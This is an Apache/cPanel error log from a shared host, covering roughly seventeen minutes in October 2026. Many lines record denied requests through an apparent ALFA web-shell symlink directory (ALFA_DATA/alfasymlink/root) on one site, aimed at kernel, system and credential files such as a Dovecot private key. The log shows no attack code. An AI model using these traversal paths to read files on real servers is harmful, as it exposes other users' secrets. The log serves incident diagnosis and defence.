[Sat Oct 24 11:10:50.577610 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 50.16.248.61:22433] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:11:10.054562 2026] [security2:error] [pid 2653691:tid 2653691] [client 185.191.171.11:51138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/cwp/csf.pl"] [unique_id "atzKjgg8t6UDSRTNwJOWPwAAABc"]
[Sat Oct 24 11:11:10.054607 2026] [security2:error] [pid 2653691:tid 2653691] [client 185.191.171.11:51138] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/src/csf/cwp/csf.pl"] [unique_id "atzKjgg8t6UDSRTNwJOWPwAAABc"]
[Sat Oct 24 11:11:18.835447 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 18.215.112.101:33248] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:12/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:1b/eject
[Sat Oct 24 11:11:38.651270 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.202.233.37:21934] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:11:46.975978 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 100.29.107.38:6722] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:11:50.703212 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 100.25.120.246:23700] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:12:02.794103 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 54.235.191.179:18055] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/root/sys/class/drm/card0/device/firmware_node/physical_node/subsystem/rescan
[Sat Oct 24 11:12:11.042467 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 54.235.172.96:25128] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/physical_node/0000:00:05.0/subsystem/drivers/virtio-pci/module/uevent
[Sat Oct 24 11:12:18.795941 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 54.92.171.106:48863] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:12:20.196037 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 16.216.88.128:16384] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/manualmx
[Sat Oct 24 11:12:22.731835 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 44.212.232.231:19000] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:12:30.670732 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.193.115.232:33193] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:12:34.678018 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 35.174.253.85:22012] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:02/subsystem/devices/device:06/physical_node/driver/uevent
[Sat Oct 24 11:12:46.966085 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 34.205.163.103:7448] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/device:04/physical_node/subsystem/drivers/virtio-pci/0000:00:03.0/resource4
[Sat Oct 24 11:12:51.471069 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.211:34762] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip6_dst_cache/alloc_calls
[Sat Oct 24 11:12:54.973086 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 107.23.62.75:39013] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:00.105870 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.224.205.25:6332] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:02.788500 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 3.212.219.113:11510] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:07.922590 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.195.248.30:6811] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:15.101729 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.205:37806] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/libata/sections/__ex_table
[Sat Oct 24 11:13:21.290617 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.206:10414] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/module/nft_chain_nat/sections/__mcount_loc
[Sat Oct 24 11:13:22.460676 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 85.208.96.196:30052] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/userdomains
[Sat Oct 24 11:13:22.461239 2026] [security2:error] [pid 2653691:tid 2653691] [client 85.208.96.196:30052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/userdomains"] [unique_id "atzLEgg8t6UDSRTNwJOWRAAAABc"]
[Sat Oct 24 11:13:22.461269 2026] [security2:error] [pid 2653691:tid 2653691] [client 85.208.96.196:30052] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/etc/userdomains"] [unique_id "atzLEgg8t6UDSRTNwJOWRAAAABc"]
[Sat Oct 24 11:13:26.931968 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.2.83.227:23455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:30.978095 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 85.208.96.212:14720] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kioctx/slabs_cpu_partial
[Sat Oct 24 11:13:31.974410 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 18.214.238.178:26491] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:34.875168 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 184.73.167.217:39842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:46.817171 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 100.29.63.24:58307] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:54.968023 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.215.231.15:40580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:13:59.468950 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.215.49.176:22634] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:02.955264 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 185.191.171.6:18528] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/iint_cache/trace
[Sat Oct 24 11:14:07.189687 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 3.215.59.93:11283] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:27.133948 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 185.191.171.5:62264] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:27.146749 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 23.23.99.55:27779] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:36.211079 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.227.180.70:55223] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:38.823737 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 3.232.82.72:53153] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:43.082947 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 3.226.106.93:22570] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:14:58.966938 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 54.159.18.27:64731] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:01.885947 2026] [core:crit] [pid 2635677:tid 2635677] (13)Permission denied: [client 66.132.195.120:46526] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 11:15:02.321432 2026] [core:crit] [pid 2607843:tid 2607843] (13)Permission denied: [client 66.132.195.120:46550] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Sat Oct 24 11:15:02.800565 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 184.73.35.182:52060] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:29.671507 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 85.208.96.197:26842] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:29.705386 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 85.208.96.197:26848] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:34.574240 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.197.82.195:25881] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:38.666178 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 3.94.157.25:5998] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:39.836962 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 185.191.171.15:22108] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-cg-16/destroy_by_rcu
[Sat Oct 24 11:15:42.646877 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.231.181.240:18285] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:46.624181 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 3.212.219.113:25893] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:00/physical_node/firmware_node/physical_node/subsystem/drivers/exar_serial/remove_id
[Sat Oct 24 11:15:54.589533 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 184.73.195.18:31277] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:15:58.642861 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 18.214.124.6:49541] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:16:06.674503 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.44.148.203:38113] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:16:18.276380 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.235.125.129:46445] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:16:30.363535 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.217.255.167:6930] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:16:34.228317 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 34.204.150.196:1339] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/PNP0A03:00/device:0c/eject
[Sat Oct 24 11:16:36.653551 2026] [authz_core:error] [pid 2653688:tid 2653688] [client 192.248.150.180:49108] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Sat Oct 24 11:16:42.319924 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.198.33.233:29227] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:06.317586 2026] [security2:error] [pid 2627273:tid 2627273] [client 52.204.174.139:22831] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/"] [unique_id "atzL8hdOhHN-18IxgZKsegAAAAY"]
[Sat Oct 24 11:17:06.317642 2026] [security2:error] [pid 2627273:tid 2627273] [client 52.204.174.139:22831] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/firmware_node/"] [unique_id "atzL8hdOhHN-18IxgZKsegAAAAY"]
[Sat Oct 24 11:17:14.282777 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 18.207.79.144:17455] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:22.198737 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.54.157.23:29155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:26.232263 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 3.93.253.174:43684] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:38.403904 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.3.26.180:45171] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:42.182612 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 54.91.122.193:51741] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:46.368352 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 54.197.114.76:26638] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:17:50.221123 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 3.89.176.255:19383] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/wakeup/wakeup1/device/subsystem/devices/device:04/physical_node/driver/0000:00:03.0/firmware_node/subsystem/drivers_probe
[Sat Oct 24 11:18:22.266878 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.219.80.71:63336] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:18:34.177986 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 3.215.59.93:29509] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:18:38.455745 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 23.21.225.190:18416] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:18:54.159959 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 44.210.213.220:16903] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:19:34.517783 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 184.73.167.217:29694] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:19:38.166034 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 184.73.195.18:58331] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:19:42.397319 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 52.204.253.129:7151] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/root/sys/class/input/event0/subsystem/input1/device/firmware_node/subsystem/devices/device:05/physical_node/resource1
[Sat Oct 24 11:19:48.569060 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 85.208.96.207:21030] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dnotify_mark/alloc_calls
[Sat Oct 24 11:19:58.166019 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 34.239.85.139:46580] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:20:06.673646 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.192.67.98:36115] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:20:16.889947 2026] [core:error] [pid 2635677:tid 2635677] (13)Permission denied: [client 185.191.171.10:31940] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/biovec-16/validate
[Sat Oct 24 11:20:18.160310 2026] [core:error] [pid 2653689:tid 2653689] (13)Permission denied: [client 34.205.163.103:26435] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:05/subsystem/devices/device:02/wakeup/wakeup0/device/subsystem/drivers/button/unbind
[Sat Oct 24 11:20:22.247950 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 98.83.8.142:49440] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/kernel/slab/dmaengine-unmap-16/min_partial
[Sat Oct 24 11:20:34.161281 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.231.45.47:27892] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:20:35.046606 2026] [core:error] [pid 2653685:tid 2653685] (13)Permission denied: [client 85.208.96.202:38874] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kernfs_node_cache/slabs_cpu_partial
[Sat Oct 24 11:20:42.202294 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.147.182.90:12072] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:20:54.153023 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 52.70.138.176:11355] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:06.184895 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 34.231.118.144:14770] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:10.151127 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 34.236.185.101:63965] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:14.187851 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 52.200.142.199:5259] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:18.219679 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 34.206.212.24:46846] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:22.131419 2026] [core:error] [pid 2653691:tid 2653691] (13)Permission denied: [client 98.82.107.102:8034] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/drm/card0/device/firmware_node/subsystem/devices/device:04/physical_node/driver/0000:00:04.0/subsystem/drivers/ata_piix/module/drivers/pci:ata_piix/uevent
[Sat Oct 24 11:21:26.779722 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.200:55944] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/proc_inode_cache/poison
[Sat Oct 24 11:21:38.138975 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 100.29.128.75:29679] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:21:43.944432 2026] [authz_core:error] [pid 2653681:tid 2653681] [client 85.208.96.209:17888] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/home/sherwinpinturas/public_html/casarin1/error_log
[Sat Oct 24 11:21:54.323612 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 98.83.226.125:13216] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/node/devices/node0/cpu1/firmware_node/subsystem/devices/PNP0A03:00/device:03/physical_node/subsystem/drivers/ohci-pci/unbind
[Sat Oct 24 11:22:02.407159 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 52.205.222.214:4590] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:06.278988 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 98.84.131.195:50500] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:10.132917 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.235.125.129:60949] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:14.261239 2026] [ssl:error] [pid 2653681:tid 2653681] (70014)End of file found: [client 100.27.153.9:46999] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:26.186326 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 100.29.155.89:56010] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pnp0/00:01/firmware_node/subsystem/devices/device:05/wakeup/wakeup5/device/physical_node/driver/0000:00:03.0/subsystem/drivers/exar_serial/remove_id
[Sat Oct 24 11:22:30.441472 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 3.219.80.71:38579] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:30.852894 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 185.191.171.5:51192] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:22:46.165881 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 34.234.197.175:28817] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:23:06.160564 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.197.82.195:8006] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:23:18.191629 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 52.54.157.23:7876] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:23:30.136166 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 52.2.83.227:22917] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:23:42.144341 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 54.84.161.62:12158] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:23:44.891597 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 85.208.96.209:29876] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/pki/dovecot/private/dovecot.pem
[Sat Oct 24 11:23:46.178145 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 98.82.214.73:52019] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:20/subsystem/devices/PNP0303:00/subsystem/devices/LNXPWRBN:00/driver/unbind
[Sat Oct 24 11:24:02.178405 2026] [ssl:error] [pid 2653685:tid 2653685] (70014)End of file found: [client 98.82.59.253:15351] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:24:06.154954 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 34.236.135.14:65286] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:24:12.737591 2026] [core:error] [pid 2653681:tid 2653681] (13)Permission denied: [client 185.191.171.14:34132] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/pid_namespace/shrink
[Sat Oct 24 11:24:17.859343 2026] [core:error] [pid 2653683:tid 2653683] (13)Permission denied: [client 85.208.96.200:37642] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/tmp/tmp.T1J770x0G4
[Sat Oct 24 11:24:18.215008 2026] [ssl:error] [pid 2627273:tid 2627273] (70014)End of file found: [client 18.232.36.1:3163] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:24:30.241800 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 44.207.207.36:19254] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:24:42.161878 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 18.207.89.138:47155] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:24:46.193789 2026] [core:error] [pid 2653688:tid 2653688] (13)Permission denied: [client 3.222.190.107:24154] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:0a/subsystem/devices/PNP0A03:00/wakeup/wakeup7/device/device:03/physical_node/subsystem/drivers/ata_piix/0000:00:01.1/resource0
[Sat Oct 24 11:24:58.361779 2026] [ssl:error] [pid 2607843:tid 2607843] (70014)End of file found: [client 34.194.226.74:63682] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:02.304404 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 3.219.81.66:14835] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:06.418897 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 52.7.33.248:53929] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:15.978690 2026] [core:error] [pid 2627273:tid 2627273] (13)Permission denied: [client 185.191.171.1:11616] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/dma-kmalloc-512/validate
[Sat Oct 24 11:25:26.249488 2026] [ssl:error] [pid 2653683:tid 2653683] (70014)End of file found: [client 54.84.147.79:56406] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:34.151389 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 35.173.18.61:29275] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:35.692840 2026] [core:error] [pid 2653819:tid 2653819] (13)Permission denied: [client 185.191.171.5:19368] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/kmalloc-4k/free_calls
[Sat Oct 24 11:25:42.164383 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 44.223.116.149:4228] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:25:42.164594 2026] [security2:error] [pid 2653688:tid 2653688] [client 44.223.116.149:4228] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/subsystem/event2/subsystem/input1/device/driver/serio0/firmware_node/physical_node1/set"] [unique_id "atzN9veyrHDY8BLQAo0Z8wAAABQ"]
[Sat Oct 24 11:25:42.164632 2026] [security2:error] [pid 2653688:tid 2653688] [client 44.223.116.149:4228] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/event3/device/subsystem/event2/subsystem/input1/device/driver/serio0/firmware_node/physical_node1/set"] [unique_id "atzN9veyrHDY8BLQAo0Z8wAAABQ"]
[Sat Oct 24 11:25:46.212127 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 34.231.77.232:2916] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:26:02.198208 2026] [ssl:error] [pid 2635677:tid 2635677] (70014)End of file found: [client 23.21.179.120:2926] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:26:06.154597 2026] [ssl:error] [pid 2653689:tid 2653689] (70014)End of file found: [client 44.212.106.171:43021] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:26:58.454241 2026] [ssl:error] [pid 2653688:tid 2653688] (70014)End of file found: [client 107.22.208.39:40466] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:27:30.330204 2026] [ssl:error] [pid 2653819:tid 2653819] (70014)End of file found: [client 52.207.47.227:43800] AH02013: coalesce failed to read from data bucket
[Sat Oct 24 11:27:34.149829 2026] [ssl:error] [pid 2653691:tid 2653691] (70014)End of file found: [client 98.83.177.42:11749] AH02013: coalesce failed to read from data bucket
